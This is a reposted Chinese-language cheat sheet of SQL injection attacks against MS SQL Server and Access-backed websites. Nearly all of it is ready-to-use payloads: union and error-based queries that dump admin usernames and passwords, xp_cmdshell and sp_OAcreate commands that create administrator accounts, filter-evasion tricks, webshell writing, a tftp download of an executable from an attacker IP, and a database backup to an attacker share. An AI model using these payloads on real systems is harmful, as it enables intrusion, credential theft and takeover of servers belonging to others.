[转载]一份整理得非常好的SQL注入资料

信息来源：ITS

最重要的表名：
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
当然还有很多啦哦 这就看你自己在实际操作中的应用啦!:)


最重要的一些用户名（默认sql数据库中存在着的）
public
dbo
guest(一般禁止，或者没权限)
db_sercurityadmin
ab_dlladmin

一些默认扩展


xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程，给出一个PID

例如：
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-

union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name='Rahul'--
构造语句：查询是否存在xp_cmdshell
' union select @@version,1,1,1--
and 1=(select @@VERSION)
and 'sa'=(select System_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username > 'a'-
' union select min(username),1,1,1 from users where username > 'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate &#39;wscript.shell&#39;,@shell OUTPUT EXEC SP_OAMETHOD @shell,&#39;run&#39;,null, &#39;C：\WINNT\system32\cmd.exe /c net user swap 5245886 /add&#39;
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = &#39;X&#39; AND name = &#39;xp_cmdshell&#39;)
;EXEC master.dbo.sp_addextendedproc &#39;xp_cmdshell&#39;, &#39;xplog70.dll&#39;


1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype=&#39;x&#39;%20and%20name=&#39;xp_cmdshell&#39;)
and 1=(select IS_SRVROLEMEMBER(&#39;sysadmin&#39;)) 判断sa权限是否
and 0<>(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名（从1到5都是系统的id，6以上才可以判断）
创建一个虚拟目录E盘：
declare @o int exec sp_oacreate &#39;wscript.shell&#39;, @o out exec sp_oamethod @o, &#39;run&#39;, NULL,&#39; cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e：\"&#39;
访问属性：（配合写入一个webshell）
declare @o int exec sp_oacreate &#39;wscript.shell&#39;, @o out exec sp_oamethod @o, &#39;run&#39;, NULL,&#39; cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse&#39;


and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=&#39;U&#39;) 暴到一个表 假设为 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=&#39;U&#39; and name not in (&#39;Admin&#39;)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=&#39;U&#39; and name=&#39;admin&#39;
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(&#39;id&#39;,...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段

Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union语句到处风靡啊，access也好用

暴库特殊技巧：:%5c=&#39;\&#39; 或者把/和\ 修改%5提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=&#39;U&#39;) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=&#39;U&#39; and name not in(&#39;Address&#39;))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=&#39;U&#39; and name=&#39;admin&#39; and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--

http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=&#39;HKEY_LOCAL_MACHINE&#39;, @key=&#39;SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\&#39;, @value_name=&#39;/&#39;, values=@test OUTPUT insert into paths(path) values(@test)

http://61.131.96.39/PageShow.asp?TianName=....1.1.1";--


得到了web路径d:\xxxx,接下来：
http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--


传统的存在xp_cmdshell的测试过程：
;exec master..xp_cmdshell &#39;dir&#39;
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell &#39;net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add&#39;;--
;exec master.dbo.xp_cmdshell &#39;net localgroup administrators hax /add&#39;;--
exec master..xp_servicecontrol &#39;start&#39;, &#39;schedule&#39;
exec master..xp_servicecontrol &#39;start&#39;, &#39;server&#39;
http：//www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate &#39;wscript.shell&#39;,@shell OUTPUT EXEC SP_OAMETHOD @shell,&#39;run&#39;,null, &#39;C：\WINNT\system32\cmd.exe /c net user swap 5258 /add&#39;
;DECLARE @shell INT EXEC SP_OAcreate &#39;wscript.shell&#39;,@shell OUTPUT EXEC SP_OAMETHOD @shell,&#39;run&#39;,null, &#39;C：\WINNT\system32\cmd.exe /c net localgroup administrators swap/add&#39;

http://localhost/show.asp?id=1&#39;; exec master..xp_cmdshell &#39;tftp -i youip get file.exe&#39;-

declare @a sysname set @a=&#39;xp_&#39;+&#39;cmdshell&#39; exec @a &#39;dir c:\&#39;
declare @a sysname set @a=&#39;xp&#39;+&#39;_cm&#39;+&#39;dshell&#39; exec @a &#39;dir c:\&#39;
;declare @a;set @a=db_name();backup database @a to disk=&#39;你的IP你的共享目录bak.dat&#39;
如果被限制则可以。
select * from openrowset(&#39;sqloledb&#39;,&#39;server&#39;;&#39;sa&#39;;&#39;&#39;,&#39;select &#39;&#39;OK!&#39;&#39; exec master.dbo.sp_addlogin hax&#39;)
传统查询构造：
select * FROM news where id=... AND topic=... AND .....
admin&#39;and 1=(select count(*) from [user] where username=&#39;victim&#39; and right(left(userpass,01),1)=&#39;1&#39;) and userpass <>&#39;
select 123;--
;use master;--
:a&#39; or name like &#39;fff%&#39;;-- 显示有一个叫ffff的用户哈。

&#39;and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=&#39;u&#39; and status>0) where name=&#39;ffff&#39;;--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff&#39;;update [users] set email=(select top 1 id from sysobjects where xtype=&#39;u&#39; and name=&#39;ad&#39;) where name=&#39;ffff&#39;;--

象下面这样就可以得到第二个表的名字了
ffff&#39;;update [users] set email=(select top 1 name from sysobjects where xtype=&#39;u&#39; and id>581577110) where name=&#39;ffff&#39;;--
ffff&#39;;update [users] set email=(select top 1 count(id) from password) where name=&#39;ffff&#39;;--
ffff&#39;;update [users] set email=(select top 1 pwd from password where id=2) where name=&#39;ffff&#39;;--

ffff&#39;;update [users] set email=(select top 1 name from password where id=2) where name=&#39;ffff&#39;;--

exec master..xp_servicecontrol &#39;start&#39;, &#39;schedule&#39;
exec master..xp_servicecontrol &#39;start&#39;, &#39;server&#39;
sp_addextendedproc &#39;xp_webserver&#39;, &#39;c:\temp\xp_foo.dll&#39;
扩展存储就可以通过一般的方法调用：
exec xp_webserver
一旦这个扩展存储执行过，可以这样删除它:
sp_dropextendedproc &#39;xp_webserver&#39;

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-

insert into users values( 667,123,123,0xffff)-

insert into users values ( 123, &#39;admin&#39;&#39;--&#39;, &#39;password&#39;, 0xffff)-

;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据库

-----------------------------------------------------------通常注射的一些介绍：
A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：
select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件]，即是生成语句：
select * from 表名 where 字段=49 And [查询条件]

( Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下：
select * from 表名 where 字段=&#39;连续剧&#39;
注入的参数为Class=连续剧&#39; and [查询条件] and &#39;&#39;=&#39; ，即是生成语句：
select * from 表名 where 字段=&#39;连续剧&#39; and [查询条件] and &#39;&#39;=&#39;&#39;